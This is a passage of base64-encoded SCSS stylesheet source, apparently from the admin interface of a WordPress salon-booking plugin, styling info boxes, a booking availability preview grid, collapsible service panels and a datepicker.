uLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTBweCk7XG59XG4uc2xuLWJveC10aXRsZS0tbnUtLXNlYyB7XG5cdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0cGFkZGluZzogMCAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRzcGFuIHtcblx0XHRAZXh0ZW5kICVmb250LW1lZGl1bTtcblx0XHRAZXh0ZW5kICVmb250LWNsX3N0YW5kYXJkO1xuXHRcdG1hcmdpbi1sZWZ0OiAxLjI1cmVtO1xuXHRcdCY6bm90KGJsb2NrKSB7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdFx0cGFkZGluZzogMDtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5ibG9jayB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHR9XG5cdH1cblx0KyAuc2xuLWFsZXJ0IHtcblx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHR9XG59XG4uc2xuLWJveC10aXRsZS0tbnUtLXNlYyArIHNwYW4ge1xuXHRtYXJnaW4tbGVmdDogMS4yNXJlbTtcbn1cbi5zbG4tYm94LXRpdGxlLS1udS0tdGVyIHtcblx0QGV4dGVuZCAlZm9udC1jbF9tYWluO1xuXHRwYWRkaW5nOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0QGV4dGVuZCAlZm9udC1iaWc7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG59XG4uc2xuLWJveC10aXRsZS0tbnUtLWRhcmssXG4uc2xuLWJveC10aXRsZS0tbnUtLXRlci5zbG4tYm94LXRpdGxlLS1udS0tZGFyayB7XG5cdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG59XG4uc2xuLWJveC1pbmZvLFxucC5zbG4tYm94LWluZm8ge1xuXHRwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0QGV4dGVuZCAlZm9udC1tZWRpdW07XG5cdC5zbG4tYm94LWluZm8tdHJpZ2dlciB7XG5cdFx0LnNsbi1idG4tLXNtYWxsLnNsbi1idG4tLWljb246YWZ0ZXIge1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0fVxuXHRcdC5zbG4taWNvbi0tY2xvc2Uge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdFx0LnNsbi1pY29uLS1pbmZvIHtcblx0XHRcdG1hcmdpbi10b3A6IDA7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihtYXJnaW4tdG9wIDMwMG1zKTtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3gtaW5mby1jb250ZW50IHtcblx0XHRtYXgtaGVpZ2h0OiAwO1xuXHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKG1heC1oZWlnaHQgMjAwbXMpO1xuXHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQ7XG5cdFx0aDUge1xuXHRcdFx0QGV4dGVuZCAlZm9udC1iaWc7XG5cdFx0XHRAZXh0ZW5kICVmb250LWNsX3N0YW5kYXJkO1xuXHRcdH1cblx0fVxufVxuLnNsbi1ib3gtLWluZm8tdmlzaWJsZSAuc2xuLWJveC1pbmZvIHtcblx0LnNsbi1ib3gtaW5mby10cmlnZ2VyIHtcblx0XHQuc2xuLWljb24tLWluZm8ge1xuXHRcdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKG1hcmdpbi10b3AgMzAwbXMpO1xuXHRcdH1cblx0XHQuc2xuLWljb24tLWNsb3NlLFxuXHRcdC5zbG4taWNvbi0taW5mbyB7XG5cdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHRcdH1cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2xuLWJveC1pbmZvLWNvbnRlbnQge1xuXHRcdG1heC1oZWlnaHQ6IDEwMDBweDtcblx0fVxufVxuLnNsbi1ib3hfX2Zvb3RlciB7XG5cdHBhZGRpbmctdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbn1cbi5zbG4tYm94X19hY3Rpb25zIHtcblx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbn1cbi8qIEJPT0tJTkcgUlVMRVMgKi9cbiNzbG4tc2Fsb24tLWFkbWluIHtcblx0LnNsbi1ib29raW5nLXJ1bGUge1xuXHRcdC5zbG4tdGl0bGUtd3JhcHBlciB7XG5cdFx0XHRhbGlnbi1pdGVtczogZW5kO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctcnVsZXNfX2FjdGlvbnMge1xuXHRcdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0fVxuXG4gIC5hdmFpbGFiaWxpdHktcHJldmlldy1ib3gge1xuICAgIC5zbG4tYXZhaWxhYmlsaXR5LXByZXZpZXctaW5mbyB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZjhmOWZhO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U5ZWNlZjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDhweDtcbiAgICAgIHBhZGRpbmc6IDE2cHggMjBweDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7XG4gICAgfVxuXG4gICAgLnByZXZpZXctaW5mby1pdGVtIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgZ2FwOiAxMnB4O1xuICAgICAgcGFkZGluZzogMTBweCAwO1xuXG4gICAgICAucHJldmlldy1pbmZvLWljb24ge1xuICAgICAgICBmb250LXNpemU6IDI0cHg7XG4gICAgICAgIHdpZHRoOiA0MHB4O1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICB9XG5cbiAgICAgIC5wcmV2aWV3LWluZm8tY29udGVudCB7XG4gICAgICAgIGZsZXg6IDE7XG5cbiAgICAgICAgLnByZXZpZXctaW5mby1sYWJlbCB7XG4gICAgICAgICAgZm9udC1zaXplOiAxMnB4O1xuICAgICAgICAgIGNvbG9yOiAjNmM3NTdkO1xuICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuNXB4O1xuICAgICAgICAgIG1hcmdpbi1ib3R0b206IDRweDtcbiAgICAgICAgfVxuXG4gICAgICAgIC5wcmV2aWV3LWluZm8tdmFsdWUge1xuICAgICAgICAgIGZvbnQtc2l6ZTogMThweDtcbiAgICAgICAgICBmb250LXdlaWdodDogNjAwO1xuICAgICAgICAgIGNvbG9yOiAjMmMzZTUwO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnNsbi1hdmFpbGFiaWxpdHktcHJldmlldy10YWJsZS13cmFwcGVyIHtcbiAgICAgIC5zbG4tYXZhaWxhYmlsaXR5LXByZXZpZXctdGFibGUge1xuICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICBwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblxuICAgICAgICAucHJldmlldy1ncmlkIHtcbiAgICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KDcsIDFmcik7XG4gICAgICAgICAgZ3JpZC1nYXA6IDRweDtcblxuICAgICAgICAgIC5wcmV2aWV3LWNlbGwge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcbiAgICAgICAgICAgIHBhZGRpbmc6IDEycHggOHB4O1xuICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDtcbiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDQwcHg7XG4gICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4O1xuICAgICAgICAgICAgY29sb3I6ICMwMDA7XG4gICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG5cbiAgICAgICAgICAgICYuaGVhZGVyIHtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzA5NzhiZDtcbiAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgJi5hdmFpbGFibGUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNWJjNTYyO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAmLnVuYXZhaWxhYmxlIHtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2I2YjZiNjtcbiAgICAgICAgICAgICAgb3BhY2l0eTogMC44O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjhweCkge1xuICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHg7XG4gICAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDMycHg7XG4gICAgICAgICAgICAgIHBhZGRpbmc6IDhweCA0cHg7XG4gICAgICAgICAgICAgICYuaGVhZGVyIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY4cHgpIHtcbiAgICAgICAgb3ZlcmZsb3cteDogYXV0bztcbiAgICAgICAgLnNsbi1hdmFpbGFiaWxpdHktcHJldmlldy10YWJsZSB7XG4gICAgICAgICAgbWluLXdpZHRoOiA3MDBweDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIC5zbG4tYXZhaWxhYmlsaXR5LXByZXZpZXctbG9hZGluZyB7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBwYWRkaW5nOiA0MHB4IDIwcHg7XG4gICAgICBjb2xvcjogIzZjNzU3ZDtcblxuICAgICAgLmxvYWRpbmctc3Bpbm5lciB7XG4gICAgICAgIHdpZHRoOiAzMHB4O1xuICAgICAgICBoZWlnaHQ6IDMwcHg7XG4gICAgICAgIGJvcmRlcjogM3B4IHNvbGlkICNmM2YzZjM7XG4gICAgICAgIGJvcmRlci10b3A6IDNweCBzb2xpZCAjMmMzZTUwO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICAgIGFuaW1hdGlvbjogc3BpbiAxcyBsaW5lYXIgaW5maW5pdGU7XG4gICAgICAgIG1hcmdpbjogMCBhdXRvIDE1cHg7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnByZXZpZXctbWVzc2FnZSB7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBwYWRkaW5nOiA0MHB4IDIwcHg7XG4gICAgICBjb2xvcjogIzZjNzU3ZDtcbiAgICAgIGZvbnQtc3R5bGU6IGl0YWxpYztcbiAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgIGJhY2tncm91bmQ6ICNmOGY5ZmE7XG4gICAgICBib3JkZXItcmFkaXVzOiA4cHg7XG4gICAgfVxuXG4gICAgQGtleWZyYW1lcyBzcGluIHtcbiAgICAgIDAlIHtcbiAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgICB9XG4gICAgICAxMDAlIHtcbiAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi8qIEJPT0tJTkcgUlVMRVMgLy8gRU5EICovXG5cbi8qIEFUVEVOREFUUyAmIFNFUlZJQ0VTIENPTExBUFNFICovXG4ud3AtYWRtaW4ucG9zdC10eXBlLXNsbl9hdHRlbmRhbnQsXG4ud3AtYWRtaW4ucG9zdC10eXBlLXNsbl9zZXJ2aWNlIHtcblx0LnBvc3Rib3gtaGVhZGVyIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG5cdCNzbG5fc2VydmljZS1kZXRhaWxzIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdC5zbG4tYm94LS1tYWluIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICNmZmY7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihiYWNrZ3JvdW5kLWNvbG9yIDI1MG1zKTtcblx0XHRcdCYuc2xuLWJveC0taW5mby12aXNpYmxlIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF93YXJuaW5nLS1saWdodDtcblx0XHRcdH1cblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5jbGVhcmZpeCgpO1xuXHRcdFx0Ji5zbG4tYm94LS1tYWluLS10cmFuc3Age1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdH1cblx0XHRcdCYuc2xuLWJveC0taGFzcGFuZWwge1xuXHRcdFx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0XHRcdH1cblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjYpICFpbXBvcnRhbnQ7XG5cdFx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHRcdFx0Ji5zbG4tYm94LS1oYXNwYW5lbC0tb3BlbiB7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAxKSAhaW1wb3J0YW50O1xuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdFx0LnNsbi1ib3gtdGl0bGUuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0XHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0XHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSByb3RhdGUoMTgwZGVnKTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIGFuZCAocG9pbnRlcjogZmluZSkge1xuXHRcdFx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAxKSAhaW1wb3J0YW50O1xuXHRcdFx0XHRcdFx0LnNsbi1ib3gtdGl0bGUuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMS4wNXJlbTtcblx0XHRcdFx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHJvdGF0ZSgxODBkZWcpO1xuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJveF9fcGFuZWx0aXRsZSB7XG5cdFx0XHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweCk7XG5cdFx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdFx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTE3cHgpO1xuXHRcdFx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG5cdFx0XHRcdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KVxuXHRcdFx0XHRcdFx0c2V0dGluZ3MtbWl4aW5zLnJlbSgtMzBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KTtcblx0XHRcdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE3cHgpO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Jjpub3QoLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuKSB7XG5cdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHRcdC8vcGFkZGluZzogMDtcblx0XHRcdFx0Ly9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHRlci0tb3A7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG5cdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHQvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodGVyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Ji5zbG4tYm94LS1oYXNwYW5lbC0tb3BlbiB7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdC5zbG4tYm94LnNsbi1ib3gtLW1haW4uc2xuLWJveC0taGFzcGFuZWwge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHR9XG5cdH1cbn1cbi8qIEFUVEVOREFUUyAmIFNFUlZJQ0VTIENPTExBUFNFIC8vIEVORCAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuXHQuc2xuLWJveF9fZmwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHRcdGFsaWduLWl0ZW1zOiBmbGV4LWVuZDtcblx0XHRyb3ctZ2FwOiAzLjVlbTtcblx0fVxuXHQuc2xuLWJveF9fZmxfX2l0ZW0ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdHBhZGRpbmc6IDAgMTVweDtcblx0XHQuc2xuLWlucHV0LS1zaW1wbGUuc2xuLWJvb2tpbmctZGlzY291bnRzLS1pbmZvdGV4dCB7XG5cdFx0XHRzcGFuIHtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDcwMDtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5zbG4taW5wdXQtLXNpbXBsZSB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0XHQmLnNsbi1ib3hfX2ZsX19pdGVtLS1mdWxsIHtcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdH1cblx0XHQmLnNsbi1ib3hfX2ZsX19pdGVtLS10cmFuc2FjdGlvbiB7XG5cdFx0XHQuc2xuLWJveC10aXRsZS0tbnUtLXRlciB7XG5cdFx0XHRcdG1pbi1oZWlnaHQ6IDIuNXJlbTtcblx0XHRcdFx0cGFkZGluZzogMC40NXJlbSAwLjY2NnJlbTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdH1cblx0XHR9XG5cdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3MDBweCkge1xuXHRcdFx0d2lkdGg6IDMzLjMzMzMlO1xuXHRcdH1cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDE1MDBweCkge1xuXHRcdFx0d2lkdGg6IDI1JTtcblx0XHR9XG5cdH1cblx0I3Nsbi1ib29raW5nX190b3RhbHMge1xuXHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzAwcHgpIHtcblx0XHRcdC5zbG4tYm94X19mbF9faXRlbSB7XG5cdFx0XHRcdHdpZHRoOiAzMy4zMzMzJTtcblx0XHRcdFx0d2lkdGg6IDI2JTtcblx0XHRcdFx0Ji5zbG4tYm94X19mbF9faXRlbS0tMmNvbCB7XG5cdFx0XHRcdFx0d2lkdGg6IDUyJTtcblx0XHRcdFx0XHRtYXJnaW4tcmlnaHQ6IDI2JTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuXHRcdFx0LnNsbi1ib3hfX2ZsX19pdGVtIHtcblx0XHRcdFx0d2lkdGg6IDI2JTtcblx0XHRcdFx0Ji5zbG4tYm94X19mbF9faXRlbS0tMmNvbCB7XG5cdFx0XHRcdFx0d2lkdGg6IDUyJTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib3hfX2ZsLnNsbi1ib3hfX2ZsLS03NSB7XG5cdFx0XHRcdHdpZHRoOiA3NSU7XG5cdFx0XHRcdC5zbG4tYm94X19mbF9faXRlbSB7XG5cdFx0XHRcdFx0ZmxleDogMSAxIGNhbGMoMzMuMzMlIC0gMy41ZW0pO1xuXHRcdFx0XHRcdG1heC13aWR0aDogMzMuMzMzMyU7XG5cdFx0XHRcdFx0Ji5zbG4tYm94X19mbF9faXRlbS0tMmNvbCB7XG5cdFx0XHRcdFx0XHRmbGV4OiAxIDEgMTAwJTtcblx0XHRcdFx0XHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRcdFx0XHRcdG1hcmdpbi1yaWdodDogMzMuMzMzMyU7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG5cbi5zbG4tZGF0ZXBpY2tlci1zZWN0aW9uIHtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgZ2FwOiAzMnB4O1xuICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiAxMTcwcHgpIHtcbiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgIGFsaWduLWl0ZW1zOiBmbGV4LXN0YXJ0O1xuICB9XG5cbiAgJiwgLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB7XG4gICAgd2lkdGg6IDEwMCU7XG4gIH1cblxuICAuc2xuLXNlbGVjdGVkLWRhdGVzLXBhbmVsIHtcbiAgICBtYXgtd2lkdGg6IDM1MHB4O1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgICBoZWlnaHQ6IGF1dG87XG5cbiAgICAuc2xuLXNlbGVjdGVkLWRhdGVzLWhlYWRlciB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogOHB4O1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2VmZWZlZjtcbiAgICAgIHBhZGRpbmc6IDEycHggMTZweDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDhweDtcblxuICAgICAgaDQsIHNwYW4ge1xuICAgICAgICBtYXJnaW46IDA7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICAgIGZvbnQtc2l6ZTogMTZweDtcbiAgICAgIH1cblxuICAgICAgaDQge1xuICAgICAgICBjb2xvcjogIzRiNGI0YjtcbiAgICAgIH1cblxuICAgICAgc3BhbiB7XG4gICAgICAgIGNvbG9yOiAjMTE4M2M0O1xuICAgICAgfVxuICAgIH1cblxuICAgIC5zbG4tc2VsZWN0ZWQtZGF0ZXMtbGlzdCB7XG4gICAgICBtYXgtaGVpZ2h0OiAxOTFweDtcbiAgICAgIG1pbi1oZWlnaHQ6IDYwcHg7XG4gICAgICBvdmVyZmxvdy15OiBhdXRvO1xuICAgICAgZmxleC1ncm93OiAxO1xuXG4gICAgICAuc2xuLXNlbGVjdGVkLWRhdGVzLWVtcHR5IHtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgIH1cblxuICAgICAgLnNsbi1zZWxlY3RlZC1kYXRlLWl0ZW0ge1xuICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgICAgIGdhcDogNHB4O1xuICAgICAgICBwYWRkaW5nOiA4cHggMDtcblxuICAgICAgICAmOm5vdCg6bGFzdC1jaGlsZCkge1xuICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDAwO1xuICAgICAgICB9XG5cbiAgICAgICAgLnNsbi1yZW1vdmUtZGF0ZSB7XG4gICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgICB3aWR0aDogMjZweDtcbiAgICAgICAgICBoZWlnaHQ6IDI2cHg7XG4gICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgIHBhZGRpbmc6IDA7XG5cbiAgICAgICAgICBzdmcge1xuICAgICAgICAgICAgZmlsbDogIzM0OGJjMjtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICAuc2xuLWNsZWFyLWFsbC1kYXRlcy